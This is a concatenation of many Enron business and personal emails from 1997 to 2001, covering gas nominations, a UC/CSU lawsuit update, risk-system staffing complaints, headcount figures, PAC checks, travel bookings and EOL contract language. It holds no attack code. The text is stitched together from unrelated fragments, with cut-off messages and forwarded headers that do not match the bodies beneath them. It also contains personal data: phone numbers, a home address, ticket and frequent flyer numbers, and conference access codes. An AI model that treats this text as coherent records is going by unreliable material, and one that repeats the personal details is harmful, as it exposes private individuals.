into St. Thomas either directly from New York or through San Juan and you 
could take a ferry to St. John (still part o the USVI) where we could pick 
you up.  It's a bit of a hassle since we have to clear the boat into the US 
and then back to the BVI but I've done it a couple of times before.  The 
timing might be difficult since we can't possibly get the boat to St. John 
before the afternoon of the 22nd.  If you're nervous about sailing into the 
BVI, we could stick around St. John for a few days.  You might check the 
cruising guide & see what it says about the US side of things - places to 
go/anchor, etc.

In Bruce McMills absence, I am sending the following correction for Eastrans
Nominations.  Bruce has confirmed the correction with Darren Farmer.

Correction for 4/5/2000 nomination:

75,000 MMBtu into Eastrans

20,000 into PG&E
7,800 from Fuels Cotton Valley into HPL
12,200 into HPL's Carwheel at Carthage
20,000 into Mobil Beaumont at HSC - $.0375
15,000 into Mobil Beaumont at HSC - $.055

Greg - 

Clarification and follow up to our discussion.

Let me know if you'd like to discuss further.

Thank you - Dan

---------------------- Forwarded by Dan Leff/HOU/EES on 05/16/2001 08:03 AM 
From: Robert C Williams/ENRON@enronXgate on 05/16/2001 07:58 AM
To: Dan Leff/HOU/EES@EES, Marty Sunde/HOU/EES@EES
cc: Vicki Sharp/HOU/EES@EES 
Subject: UC/CSU Procedural Next Steps

As you know, UC/CSU sued us for breach of contract in March.  At the same 
time they moved for a preliminary injunction to restore them to direct access 
during the pendency of the case.  The district court granted their motion and 
issued the preliminary injunction.  We appealed the granting of a preliminary 
injunction in these circumstances, and, in addition, asked the Court of 
Appeals to stay the effect of the district court's order until our appeal 
could be heard.

The Court of Appeals granted our request for a stay.  Because of the 
similarity beween the legal tests for granting a stay and for granting of 
preliminary injunction, to grant the stay the Court of Appeals necessarily 
had to find, at least preliminarily, that the district court likely erred in 
granting the preliminary injunction.  This is why we think we will win our 
appeal, especially if it is heard by the same panel.  (Whether or not it is 
heard by the same panel depends on the clerk of the Court of Appeals and the 
schedules of the judges.)

We filed our brief in support of our appeal on May 14.  UC/CSU's and the AG's 
answering briefs must be filed by June 11.  Our reply brief is due 14 days 
after their briefs are filed.  The appeal is then referred to a 3-judge 
panel.  Oral argument is usually allowed.

If we win the appeal, UC/CSU campuses in PG&E and SCE territory remain on 
utililty service until a final decision is made in the case.   If we lose the 
appeal, we have to take them back until a final decision in made in the 
case.  The appeal relates only to the preliminary injunction.  The breach of 
contract action remains to be tried at the district court level.  

The contract expires March 31, 2002.  In the ordinary course a final decision 
in the case would not be made by then.  The judge, however, could expedite 
the proceedings so that a decision could be made earlier.  UC/CSU could also 
move for summary judgment, arguing that that facts are not in dispute and 
that the judge should rule without a trial.  In either event, it would seem 
unlikely that a final decision even on a expedited basis could be handed down 
before late fall/winter.

Please call me with any questions.  Thanks.

Just testing to make sure that this e-mail went through!  Talk to you soon.
Ben

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/31/2000 

VKaminski@aol.com on 01/30/2000 02:11:27 PM
cc:  
Subject: Fwd: Credit Applicatiions in GRMS

Return-Path: <vkamins@ect.enron.com>
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-0500
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id 86256874.007BF6C3 ; Fri, 28 Jan 2000 16:34:00 -0600
From: "Vince J Kaminski" <vkamins@ect.enron.com>
Message-ID: <86256874.007BF56A.00@notes.ect.enron.com>
Date: Fri, 28 Jan 2000 16:33:56 -0600
Subject: Credit Applicatiions in GRMS

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/28/2000 
04:33

Bjorn Hagelmann
01/28/2000 09:25 AM

To:   William S Bradford/HOU/ECT@ECT, Jonathan Le/HOU/ECT@ECT, Gary
      Hickerson/HOU/ECT@ECT, Philippe A Bibi/HOU/ECT@ECT, Vince J
      Kaminski/HOU/ECT@ECT
cc:   Rick Buy/HOU/ECT@ECT, Mike McConnell/HOU/ECT@ECT
Subject:  Credit Applicatiions in GRMS

THIS NOTE IS FROM TED MURPHY (not bjorn hagelman)

My understanding is that yet another meeting has been scheduled with the 
intent
of diverting resources from the GRMS project to some other project.

While I am not privy to the urgency of this other project, I do know that we
have a very large, multi -phase project going in GRMS.
GRMS stands for the GLOBAL RISK MONITORING SYSTEM.  It is not intended to be a
commercial trading product not is its primary purpose for commercial
decision-making.  Conceptually, it is a risk warehouse for the primary purpose
of RAC due to the deficiency of current front office trading systems and their
inability to provide timely, aggregated information useful to RAC.

RAC has spent over a year developing a business plan scope and detailed task
list to accomplish its objectives.  As a firm we are woefully behind our press
clippings in our ability to aggregate and understand our risk profile.  My 
most
recent sojorn  in Europe is a classic example of the current systems inabilty 
to
aggregate and meet the needs of RAC having abetted poor decision making and
causing cash losses in well in excess of the GRMS budget or that of the Market
Risk Group in RAC.

The GRMS project is a requirement that Bill Bradford and I have in order to do
our jobs.  We have delegated authority to Debbie Brackett and Rudi Zipter to
make decisions regarding priorities and as such meet regularly with Jonathon 
and
his team as well as Rick Buy to provide updates.  While progress is never as
fast as we would like it, in every instance in which we have only to rely on
RAC, Jonathon's team and Research to make a deadline it haas been hit.  The
primary reason for any delays whatsoever has been the diversion of resources 
off
the project or the reliance for cooperation from some other source - most
recently the IT staff in London was a tremendous impediment to deadlines.

Please excuse the frustration that is apparently coming through in this note,
but I feel like the boy with his finger in the dyke and no one is listening.
Also, I have had several employees come to resignation over their frustration 
on
the lack of management support for this project, usually manifesting itself in
the lack of resources or the diversion of resources devoted to it.

I think we have proven collectively that we can organize a modular multiphase
project and provide tangible deliverables when not distracted.  Please let us 
do
our jobs.  I do not denigrate the efforts of others, but I believe that they
must either submit their detailed requirements to us for our consideration of
their worthiness to put in OUR que or develop their own project with their own
resources.

Thank you for your consideration of this opinion.  As it relates to things 
that
will effect the ability of Market Risk to do its job, please consult me as I
would you.

Ted

I just got a call from the guy that asked me to work on the Texas Desk.  He just eliminated my position and I think he may be making another cut or two as well.

John,

I think I misspoke (or miswrote).  The change I suggested would belong in 
both versions.

Please join Mark Koenig, executive vice president of Investor Relations, on 
eSpeak this Thursday, Mar. 29 at 10 a.m. Houston time.  Mark will answer your 
questions about the function of Investor Relations and also provide a stock 
update.

Remember:  If you can't make the live event, go to eSpeak now and pre-submit 
your questions.  Then, come back and read the transcript for Mark's event to 
find the answers.

ethink.enron.com

Tony,

Vince

Anthony_Mends@enron.net on 04/24/2000 09:54:49 AM
cc:  
Subject: Security - After Hours Access

Vince,
Thank you for honoring us at our home on Saturday. It was a real pleasure to
share an evening with you. We hope we shall be able to do it again with your
family when the opportunity arises.

I am forwarding to you a request from John Young who works in my group as a
Documentation Specialist. Kindly review his request and let me know if you are
able to grant it.
Tony
713-853-3939

----- Forwarded by Anthony Mends/Enron Communications on 04/24/00 08:37 AM 
-----
|--------+----------------------->
|        |          John Young   |
|        |                       |
|        |          04/21/00     |
|        |          11:28 AM     |
|        |                       |
  
>----------------------------------------------------------------------------|
  
|                                                                            |
  |       To:     Anthony Mends/Enron Communications@Enron 
Communications      |
  |       cc:     Shirley Crenshaw/HOU/ECT@ECT, Krista 
Reed/Contractor/Enron   |
  |       Communications@Enron 
Communications                                  |
  |       Subject:     Security - After Hours 
Access                           |
  
Tony,

Earl Harvey and I are located on the 19th floor inside the Corporate Research
Group's area, which is in a secured area.  They are a very supportive and
cooperative group, and conditions here are ideal for research, analysis, and
writing.  I don't want to jeopardize their security in any way, but, if
possible, I would like to be added to the after hours and weekend access list
for situations such as meeting deadlines and research & development.

The Research Group's director is Vince Kaminski (Ext. 3-3848) and Shirley
Crenshaw (Ext. 3-5290) is the group's administrative coordinator.  Their
security procedures require that Mr. Kaminski authorize Shirley to add people 
to
the access list.  If you concur with my request, could you please extend the
request to Mr. Kaminski?

I have discussed my request with Shirley and am copying her with this memo, 
but
I didn't want to copy Mr. Kaminski because I believe that you would see that 
as
your responsibility; and that if you did not concur with my request, then 
there
would be no reason to copy him at all.

Thanks,

JAY
713-853-5941

Steve, 
Here is the response from EES to confirm their staff increases, particularly 
the increase of admins of 146 which is roughly 38% of total increase of 389 
for year 2000.
Thanks.
From:  James, Ron  
Sent: Thursday, May 17, 2001 7:37 AM
To: Brown, Suzanne
Subject: Re: EES Net Growth - pls verify- need back AM tomorrow-Thanks.

Note Kalen's general comment plus the IPT aquisition added over 100 in 
October.
---------------------- Forwarded by Ron James/HOU/EES on 05/17/2001 07:34 AM 

Kalen Pieper
05/16/2001 08:19 PM
To: Ron James/HOU/EES@EES
cc:  
Subject: Re: EES Net Growth - pls verify- need back AM tomorrow-Thanks.  

we were growing our business, doubled our expected return to the company, I 
think that is enough!

---------------------- Forwarded by Ron James/HOU/EES on 05/15/2001 04:22 PM 
From: Suzanne Brown/ENRON@enronXgate on 05/15/2001 04:17 PM
cc: Kalen Pieper/HOU/EES@EES 
Subject: EES Net Growth - pls verify- need back AM tomorrow-Thanks.

Ron, 

HEre's what we see in the DataMart as the largest headcount changes for EES 
2000.  Please confirm and validate or provide valid business reasons. thanks.

2000 Net Growth    EES (third column-disregard first two)

COMMERCIAL	ACCT MNGT.	0	0	49
COMMERCIAL	RISK MNGT. - RETAIL	0	0	42
COMM. SUPPORT	ACCOUNTING	15	5	54
COMM. SUPPORT	ADMIN. ASST./CLER.	31	36	146
COMM. SUPPORT	DIRECT SALES SUPPORT	-2	24	86
COMM. SUPPORT	TRANSACTION SUPPORT	4	7	80

TECHNICAL	ENGINEERING	0	1	140
TECHNICAL	OPERATIONS	-1	0	169
TECHNICAL	TECH OPERATIONS SUPPORT	-1	70	118

The technical areas appear to be from NEPCO - does that sound right for 2000? 
For the commercial and support areas - is this growth from the increased deal 
flow.
Do you know why the admin level increased so much?

2001 Net Growth    EES (third column-disregard first two) - no significant 
changes.

total bill was $230.  Thanks.
PL

From: 	Crowell, Scott  
Sent:	Monday, November 05, 2001 5:28 PM
Subject:	Room

Just let me know when you find out the final room bill and I'll cut you a check for half.

Scott Crowell
Manager - Enron Networks
Houston, Texas  77002-7361

713-345-3638    office
713-628-1192    cellular

I think I have everything except the termination agreement.  I'll check, and 
send you what I have.

From: Peggy Banczak@ECT on 07/14/2000 07:07 PM
cc:  

Kay:  I have not received copies of any of the GE contracts.  Do you have 
them?  If so, could I please have a copy of whatever has been executed.

Thank you.

	07/14/2000 06:20 PM
		 
		 To: Brian D Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Peggy 
		 cc: 
		 Subject: Vitro/Termination agreement

Thanks,

Kay

AGA for 4/20/01 is 43

* In addition to the net injection of 43 Bcf of working gas into storage,
3 Bcf of base gas was injected into the Producing Region for the week
ending April 20, 2001. To date, a net of 1 Bcf of base gas has been 
withdrawn.

	Log into www.clickathome.net now, from work or home!

	Choose your reviewers and fill out your evaluations in the comfort and privacy of your home!

	YOU choose the content on each page, as well as the look and feel! 

Note: the ClickAtHome portal must be launched through an Internet Explorer browser, 5.0 or higher.

just got on.  u listening to loretta?  sounds like it's all about demand-side 
programs.

jeff

can you find the contact and see if they are still interested in the money?
----- Forwarded by Steven J Kean/NA/Enron on 11/16/2000 06:11 PM -----

	Elizabeth Linnell
	11/16/2000 03:57 PM
		 
		 cc: 
		 Subject: Returned PAC check

Steve - Do you have a contact number for Ensign's campaign, and shall we call 
them to see if they still need the money for debt retirement?  They did cash 
the check we sent a month earlier for $2,000.
----- Forwarded by Elizabeth Linnell/NA/Enron on 11/16/00 03:52 PM -----

	Gus Perez
	11/15/00 12:08 PM
		 
		 cc: 

This PAC contribution was mailed out 10/30 to 
John Ensign
Ensign for Senate
P.O. Box 26568
Las Vegas, NV  89126

It was returned to me today stamped "unclaimed".
I have checked the 1999 & 2000 contibutions and they all have the same PO box.
Please let me know what you want me to do.

Below is all the information on the Candidate.

ID Candidate Name Committee Name Date Requested State/Fed State  Political 
Party Office Sought 
396 John Ensign  Ensign for Senate 10/26/2000  Fed-NV    R Senate    

Election Date  Who Requested Amount Requested W/L/U
11/00   E. Linnell  $3,000.00  Won

Thanks,

I have drafted and attached a basic offer to an adjacent land owner for a
property sale.  He and I have negotiated this for some time and this is
basically my final offer.

Please critique this letter and advise me at your earliest convenience of
the changes you would require before this is sent out.
(See attached file: guzmanoffer.doc)

Thanks, Dan.

Candy
 - guzmanoffer.doc

----- Forwarded by Tana Jones/HOU/ECT on 02/09/2001 05:47 PM -----

	Walter Guidroz@ENRON
	02/09/2001 04:27 PM
		 
Schott/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Debbie 
R Brackett/HOU/ECT@ECT, David Hardy/LON/ECT@ECT, Lesli Campbell/HOU/ECT@ECT, 
Cynthia Clark/Corp/Enron@ENRON, Mary G Gosnell/HOU/ECT@ECT, Enron Europe 
Global Contracts and Facilities, Enron Europe Global 
CounterParty/LON/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, 
Claudia Clark/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT, Lisa 
Lees/HOU/ECT@ECT, Juana Fayett/Corp/Enron@Enron, Jana Morse/Corp/Enron@Enron, 
Trang Le/HOU/ECT@ECT, Paul Maley/LON/ECT@ECT, Sonya Clarke/LON/ECT@ECT, Lee 
Munden/LON/ECT@ECT, Tim Davies/LON/ECT@ECT, Karen O'Day/NA/Enron@Enron, Tanya 
Rohauer/HOU/ECT@ECT, Kelly Lombardi/NA/Enron@Enron, Brian Lindsay/Enron 
Communications@Enron Communications, EOL Call Center
		 cc: 
		 Subject: EOL approvals/amendments, 2/9/01

Susan,
 I find that you have a midly attractive sense of humor and a cynical side to 
you that separates you from the rest of the tribe.  Its funny you mentioned 
the Astros game.  I was actually thinking of inviting you (since I have two 
tickets to tonight's game and all) but you have turned me down so many times 
in the past I decided to go with a more conservative pick.  Anyhow, since I 
absolutely detest Woody's and all of my bold suggestions for other venues 
consistently gets dissed by the group's brain trust, please take me off of 
this distribution list.  Have a nice day.

Steve

Susan M Scott@ECT
03/30/2000 12:38 PM
To: val.generes@ac.com, Timothy Blanchard/HOU/EES@EES, Robert 
Norton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Benjamin 
Freeman/Corp/Enron@ENRON, Lisa Gillette/HOU/ECT@ECT, Kyle Etter/HOU/ECT@ECT, 
Victor Guggenheim/HOU/ECT@ECT, Daniel Falcone/Corp/Enron@ENRON, Shanna 
Husser/Corp/Enron@Enron, Yvette Parker/Corp/Enron@ENRON, Christopher 
Coffman/Corp/Enron@Enron, Stephen Plauche/Corp/Enron@Enron, Dan 
Feather/Enron_Development@ENRON_DEVELOPMENT, Eric Bass/HOU/ECT@ECT, Nick 
Hiemstra/HOU/ECT@ECT, Chad Landry/HOU/ECT@ECT, Matthew Lenhart/HOU/ECT@ECT, 
Misti Day/HOU/ECT@ECT, Benjamin Markey/HOU/ECT@ECT, Carrie 
Southard/HOU/ECT@ECT, Christa Winfrey/HOU/ECT@ECT, Brian Hoskins/HOU/ECT@ECT, 
Bryan Hull/HOU/ECT@ECT, Heather Alon/HOU/ECT@ECT, Sheetal Patel/HOU/ECT@ECT, 
Hang Bui/HOU/ECT@ECT, Kreg Hall/HOU/ECT@ECT, Michael Kolman/HOU/ECT@ECT, 
Mason Hamlin/HOU/ECT@ECT, Jennifer Reside/HOU/ECT@ECT, Tobin 
Carlson/HOU/ECT@ECT, Alicia Perkins/HOU/ECT@ECT, Nicholas J 
Stephan/HOU/ECT@ECT, Lisa Gillette/HOU/ECT@ECT, Kyle Etter/HOU/ECT@ECT, 
Victor Guggenheim/HOU/ECT@ECT, Sunil Dalal/Corp/Enron@ENRON, Wilson 
Kriegel/Corp/Enron@ENRON
cc:  

Subject: Take me out to the ...

Oh wait, I can't go to the ball game because I couldn't take a day off from 
work to stand in the Enron lobby (or send my secretary to do it for me).  

For all of you who have managed to snag tickets for tonight's game 
congratulations and you suck.  For the rest of us stuck out in the cold I 
suggest the only viable alternative before us is to drown our sorrows in a 
cold bottle of beer (or two, or three...).  I realize the mass email has been 
MIA the last two weeks.  For some this may have been a welcomed relief.  For 
others there may have been some concern that they had been cut-off from the 
distribution.  At present no one has been removed from the distribution, but 
it is undergoing an audit.  Should it be determined that it is necessary to 
remove an individual from the list for any reason that individual will be 
notified and given an explanation.  If anyone would like to know the causes 
for expulsion you can write to:  I CAN'T BELIEVE ANYONE CARES IF THERE ON 
THIS DISTRIBUTION OR NOT BECAUSE THE ONLY PLACE WE SEEM TO GO IS WOODY'S 
EVERY THURSDAY BETWEEN 9:30 AND 10:00.

On that note, see you guys at Woody's tonight around 9:30 or 10:00.

---------------------- Forwarded by Kay Mann/Corp/Enron on 01/30/2001 11:56 

sandra delgado <sdelgado_vitoltvl@yahoo.com> on 01/30/2001 11:37:58 AM
To: KAY.MANN@ENRON.COM
cc:  

Subject: 31JAN HOUSTON TO NEW YORK -- TICKETED

                                                   SALES AGT: JH/X8WEHZ
 
                                          MANN/C KAY
 
  ENRON
  1400 SMITH
  KAY MANN X57566
 
  DATE:  JAN 30 2001                   ENRON
 
ARRIVE
 
CONTINENTAL AIRLINES  31JAN HOUSTON TX     NEW YORK NY    940A    157P
CO 1966    A          WED   G.BUSH INTERCO LA GUARDIA
                            TERMINAL C     TERMINAL M
                            LUNCH                         NON STOP
                            RESERVATION CONFIRMED         3:17 DURATION
 
HOTEL                 31JAN OMNI BERKSHIRE PLACE
                      02FEB 21 EAST 52ND STREET AND MADISON AVE
                            NEW YORK, NY 10022
                            TELEPHONE: 1-212 7535800
                            FAX: 1-212 7545018
                            CONFIRMATION: 1008660779
                            REFERENCE: A1KABC
                            SINGLE ROOM KING SIZE BED
                            RATE: ABC USD 287.00 PER NIGHT
                            REQ KINGNS
              **24 HOUR CANCEL POLICY AT THE OMNI BERKSHIRE
 
CONTINENTAL AIRLINES  02FEB NEW YORK NY    HOUSTON TX     1152A   257P
CO 1961    A          FRI   LA GUARDIA     G.BUSH INTERCO
                            TERMINAL M     TERMINAL C
 
      AIR FARE 1888.36      TAX 150.14          TOTAL USD       
2038.50

                                            AIR TOTAL USD       
2038.50
 
                                        INVOICE TOTAL USD       
2038.50
 
RESERVATION NUMBER(S)  CO/L9S2FX
 
TICKET:                                         CO/ETKT  0057024436937
CO  FREQUENT FLYER COHG770475
**CONTINENTAL RECORD LOCATOR: L9S2FX
PICTURE ID AVAILABLE AT THE AIRPORT. THANK YOU

Get personalized email addresses from Yahoo! Mail - only $35 

---------------------- Forwarded by Mike Carson/Corp/Enron on 06/23/2000 
09:03 AM ---------------------------

"Pape, Travis" <tpape@satake-usa.com> on 06/23/2000 08:08:32 AM
To: Mike.Carson@enron.com
cc:  

Subject: RE: Friday night

And it is on!

It's all about the he said, she said bullshit

From: Mike.Carson@enron.com [mailto:Mike.Carson@enron.com]
Sent: Friday, June 23, 2000 6:19 AM
To: meridetk@kochind.com; tpape@satake-usa.com
Subject: Friday night

Are you guys up for a little guys night out tonight?? Call me 713-853-6203
or leave a message for me at home 713-668-3712.

MC

Tanya forwarded the attached confirm on to me.  Are we supposed to have that 
weather rep also in confirmations when we trade under a master?
----- Forwarded by Tana Jones/HOU/ECT on 08/07/2000 10:24 AM -----

	Tanya Rohauer
	08/07/2000 10:21 AM
		 
		 cc: 
		 Subject: Re: weather confirm

---------------------- Forwarded by Tanya Rohauer/HOU/ECT on 08/07/2000 10:17 
   
	From:  Diane Anderson @ ENRON                           08/07/2000 10:09 AM
	
cc:  
Subject: Re: weather confirm  

Sally - just an fyi...  Jeff Hodge requested that we send him the information 
below.  Evidently, the FERC has requested that several US wholesale companies 
provide a great deal of information to them due to the volatility of natural 
gas prices the past few weeks (it is being driven by the California 
markets).  Legal got them agree to simply giving them a weighted average 
price of gas on the 11th for delivery on the 12th.  It worked out as $24.47 
for buys and $18.14 for sales.  This is US physical next day only.

Sheri
---------------------- Forwarded by Sheri Thomas/HOU/ECT on 12/12/2000 12:39 
   
From:  Sheri Thomas                                                           
  12/12/2000 12:30 PM	
	
To: Jeffrey T Hodge/HOU/ECT@ECT
cc: Bob M Hall/NA/Enron@Enron 
Subject: Fercinfo2 (The Whole Picture)

Jeff - please find the average prices below as requested.  Detail is attached 
- includes both EOL and non-EOL next day physical trades for ENA.

Sheri
---------------------- Forwarded by Sheri Thomas/HOU/ECT on 12/12/2000 12:26 
   
From:  Torrey Moorer                                                          
   12/12/2000 12:26 PM	
	
To: Sheri Thomas/HOU/ECT@ECT, Jennifer Denny
cc:  

Avg Buy = $24.46994 per MMBtu

Avg Sale = $18.1445 per MMBtu

I now have a pager.  My number is 888 710 7935.  You can also send me an 
email at 8887107935@pagenetmessage.net.  

Kay

        All LIM MIMIC & Excel Add-in Users within Enron,
 
            This past week LIM software was upgraded to reflect LIM latest versions.  If you are experiencing problems with MIMIC or the XMIM Excel Addin, please restart your machine for the latest changes to take effect, then follow the instructions for your specific application.
 
        MIMIC:
 
                   Under Start > Programs > Business Applications > LIM, Use the latest MIMIC version which is MIMIC 1.2.7
 
        Excel Addin:
    
                    Please reinstall your add-in, running the XMIM Excel User (installation) under Start > Programs > Business Applications > LIM
 
If problems persist, please contact the Enron - LIM Helpdesk at extension 33923 or 713-853-3923.
 
Brian, 

Who do I talk to about getting Daren Farmer a Labor Distribution report. He 
needs to see what employees are hitting his RC.  I know that we have 
discussed this prior and soem Managers are receiving a monthly report but he 
is not.  Who can help us???

Thank you!
Yvette
x3.5953

Terrie Glover
5690 San Pablo 308
Oakland, CA 94608
terrieg@uclink4.berkeley.edu

This was one of your competitors - at least from the legal side - that we 
looked at briefly about a year ago.

http://www.legalanywhere.com/legal/index.html

Susan Zilker Salons of Post Oak.

Julie Armstrong
02/26/2001 02:45 PM
To:	Tracy Geaccone/GPGFIN/Enron@ENRON
cc:	 

Subject:	Re: Commercial Business Review dates   

Hope your day gets better and that you feel better.  Who styles/cuts your hair?

Tracy Geaccone
02/26/2001 02:01 PM
To:	Julie Armstrong/Corp/Enron@ENRON
cc:	 

I am not sure why John does not have a copy.

Here are your positions.  Let me know if they're okay.

Thanks,
Robin

Today I finally received some information on the status of the work done to 
date.  I spoke to Hugo Alexandro at Cuatro Consultants.  The property is 
still in two parcels.  Hugo has completed a platt to combine into one  lot 
and is ready to submit it to the city of San Marcos.  He has also completed a 
topographical survey and a tree survey.  In addition, he has begun to 
coordinate with the city on the replatting and a couple of easements on the 
smaller parcel, as well as, beginning the work on the grading.  Hugo is going 
to fax me a written letter of the scope of work he has been engaged to 
complete.  The total cost of his services are estimated at $38,000 of which 
$14,000 are due now for work completed.  

We are trying to resolve the issues of outstanding work and bills incurred by 
the original developer so we can obtain the title to the land.  If we can 
continue to use Cuatro then it would be one less point of contention.  Hugo's 
number is 512-295-8052.  I thought you might want to contact him directly and 
ask him some questions.  I spoke to him about the possibility of your call 
and he was fine with that.  

Now we are going to try and determine if any of the work performed by Kipp 
Flores can be used.

Keith and I appreciate you meeting with us on Sunday.  We left very 
optimistic about the prospect of working with you on this project.

Call me with feedback after you speak to Hugo or with any other ideas about 
moving this project forward.

Phillip

Chris,

Whatever happened to the Thermo Ecotek RFPs you responded to?

Kim

No Steffes?  Talk to you at 1.

Best,
Jeff

From: 	Alamo, Joseph  
Sent:	Thursday, September 06, 2001 5:19 PM
To:	'mday@gmssr.com'; 'jklauber@llg.com'; Mara, Susan; Sharp, Vicki; Sanders, Richard B.; Williams, Robert C.; Kean, Steven J.; Shapiro, Richard; Dasovich, Jeff
Cc:	Mara, Susan; Dernehl, Ginger; Noske, Linda J.; McVicker, Maureen
Subject:	TeleConference Invitation & Advisory re: Temporary Restraining Order Against the CPUC

	CONFERENCE INFORMATION:

  *  Start Date/Time:  	09/07/01 FRI 01:00 PM PDT/03:00 PM CDT
  *  Topic:					Temporary Restraining Order Against the CPUC

	HOST INFORMATION:

  *  Conference Host:  SUE MARA
  *  HOST CODE:  280905
  *  Toll Free Dial In Number:  (877) 300-8186            

	PARTICIPANT INFORMATION:

	All Participants should use the following information to reach the conference call:
  *  PARTICIPANT CODE:  132080

Joseph Alamo
Sr. Administrative Assistant
ph. (415) 782-7841
fax (415) 782-7854
e-mail: joseph.alamo@enron.com

From: AT&T TeleConference Services [mailto:mailer@mo06b33w.bns.att.com]
Sent: Wednesday, September 05, 2001 5:57 PM
To: Alamo, Joseph
Subject: AT&T TeleConference Confirmation - HOST Copy

AT&T TELECONFERENCE SERVICES                      Wed Sep  5 2001 19:56:34

                               HOST COPY
                        RESERVATION CONFIRMATION

The following information confirms your:
AUTOMATED DIAL-IN RESERVATION

Please review this information and contact AT&T Teleconference Services at
(800)526-2655 if there are any changes.

CONFERENCE INFORMATION:
----------------------

  *  TeleConference Folder ID:   509372332
  *  Conference ID:  HJA6734
  *  Conference Status:  *** NEW ***
  *  Start Date/Time:  09/06/01 THU 01:00 PM PDT   
  *  End Date/Time:  09/06/01 THU 02:30 PM PDT   
  *  Duration:  001 hr 30 min
  *  PORTS:  010
  *  Conference Host:  MR JOSEPH ALAMO
  *  Host Phone Number:  (415)782-7841  
  *  Conference Arranger:  MR JOSEPH ALAMO
  *  Arranger Phone Number:  (415)782-7841  

HOST INFORMATION:

The Host should use the following to reach the conference call:
  *  HOST CODE:  582594
  *  Toll Free Dial In Number:  (888)422-7109            

PARTICIPANT INFORMATION:

All Participants should use the following information to reach the conference call:
  *  PARTICIPANT CODE:  433119

FEATURES SECURED:

  *  Automatic Port Expansion

SPECIAL NOTES:
=============

Meet with Commissioner Ebert in Biloxi - Confirmed 7/1/97

Contact is Paige - 601-436-4833

Thanks for forwarding Peter's resume.  By copy of this memo I am forwarding 
Peter's resume to Danny McCarty and Phil Lowry.  Danny and Phil: Please 
follow-up with Vince if you have an interest in meeting with Peter.  He seems 
to be a very qualified candidate.

04/30/2001 02:28 PM
To: Stanley Horton/Corp/Enron@Enron, Danny McCarty/ET&S/Enron@Enron

Subject: Follow-up on SIAM Workshop

I am forwarding for your attention the resume of Peter Percell
who has an extensive experience in modeling physical flows 
of natural gas in pipeline systems. Peter is looking currently for a job.

I met him last week at the meeting of the Science and Industry Advance with 
Mathematics
society at the University of Houston.

The application of recent developments in optimization theory
and numerical methods can help Enron to improve further 
efficiency of our pipeline system and reduce the consumption of compressor 
fuel.

Please, let me know if you interested in introducing Peter to executives
in your organization. I shall be glad to make arrangements for an interview.

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/30/2001 

Peter Percell <percell@swbell.net> on 04/30/2001 11:16:58 AM
To: Vincent Kaminski <vkamins@enron.com>
cc:  

I enjoyed your presentation, and meeting you briefly afterwards, at the
SIAM Workshop last Friday.

I have extensive experience as a technical leader in the design and
development of modeling and simulation software products, mostly
for the oil and gas pipeline industry.

I am looking for a position that can utilize my software development and
mathematical skills.  Getting out of the narrow confines of the pipeline
simulation industry would be a plus.

Please consider whether I might fit in your group.  Your answer to a
question indicated that I have several of the skills you look for.

Also, please let me know, by email, the names and contact information of
other managers within Enron who might benefit from having someone with
my qualifications in their group.

Attached are my resume and an addendum covering academic & consulting
experience.  Publications are available on request.

I will call you in a couple of days to follow up on this email.

Thank you for your time.

Peter Percell                        10030 Doliver Drive
percell@swbell.net               Houston, TX 77042-2016
(713) 532-3836 voice & fax
 - Percell, Peter Resume Only.doc
 - Percell, Peter A&C Exp.doc

Kevin,

I need to follow up with Stacy Dickson on any possible revisions to the GTC.  Also, it has been mentioned to me that the long description that appears on the website should include specific details as to when and how the buyer needs to notify Enron of the delivery point, alternate delivery point, or where they plan to park/store the gas.  I'll get with you on Tuesday after I talk with Stacy about this.

CW
3-7533

A US gas transaction with Enron North America Corp., under which Seller shall sell and Buyer shall purchase a quantity of natural gas equal to the Daily Contract Quantity at the Contract Price on a Secondary Firm basis.  The Contract Price shall be as submitted by Counterparty via the Website.  The Period of Delivery shall be from the Effective Date through the Termination Date.
The term of the Transaction shall be from the Effective Date to the Termination Date. The Effective Date is 01 May 2001. The Termination Date is 31 May 2001.
The Transaction is for delivery at an ANR Pipeline Company ML7 interconnect.  The Purchaser will determine at what ML7 interconnect to take delivery.  The volumes Delivered by the Seller are subject to reductions due to operational constraints on the ANR Pipeline system. In the event that scheduled volumes are reduced due to pipeline operational constraints, Buyer will designate an alternate ML7 delivery location until an unconstrained point is designated.  In the event that the Buyer cannot take receipt at an alternative ML7 point, the Buyer must arrange for the gas to be delivered off-system, stored or parked at the Buyer's expense. These reductions due to Pipeline System constraints are not considered a failure to perform by the Purchaser.
The price is quoted in US Dollars per unit of volume, which will be the Contractual Currency.
The unit of measure against which the price is quoted shall be millions of British thermal units and the quantity shown shall be in millions of BTUs per day
From: 	Ruscitti, Kevin  
Sent:	Monday, April 30, 2001 3:32 PM
To:	Walker, Chris
Subject:	RE: Secondary firm delivery

Chris,

What's the status of this product.  I haven't heard anything in a while.

KR

From: 	Chris Walker  
Sent:	Tuesday, March 27, 2001 5:07 PM
To:	Stacy E Dickson
Cc:	Kevin Ruscitti
Subject:	Secondary firm delivery

Stacy,

Kevin Ruscitti has requested a secondary firm ANR ML7 phy gas product for EOL.  I have located some language that you and Dale worked on back in May of 2000.  Please let me know if this language will be OK for our needs.  Also, will the current GTC for Phy gas need to be revised in any way?

Thanks,

CW
3-7533

A US Gas Transaction with Enron North America Corp., under which Seller shall sell and Buyer shall purchase a quantity of natural gas equal to the Daily Contract Quantity at the Contract Price on a secondary firm basis. The Contract Price shall be as submitted by Counterparty via the Website.  The Period of Delivery shall be from the Effective Date through the Termination Date.
The term of the Transaction shall correspond to the date(s) set forth in the Product description on the Website.
The transaction is for delivery at the ANR Pipeline Company ML7 interconnect.  The volumes scheduled to be delivered are subject to reductions due to normal operational constraints on the ANR  Pipeline Company pipelines based upon historical operating conditions.  The reductions caused by these constraints are excused nonperformance and are not considered a failure to receive or deliver firm gas.  In the event that the volumes scheduled are reduced due to such normal operational constraints, Buyer may designate a secondary firm delivery location.
The unit of measure against which the price is quoted shall be millions of British thermal units and the quantity shown shall be in millions of BTUs per day.

The attached Exhibit represents our understanding of the above referenced 
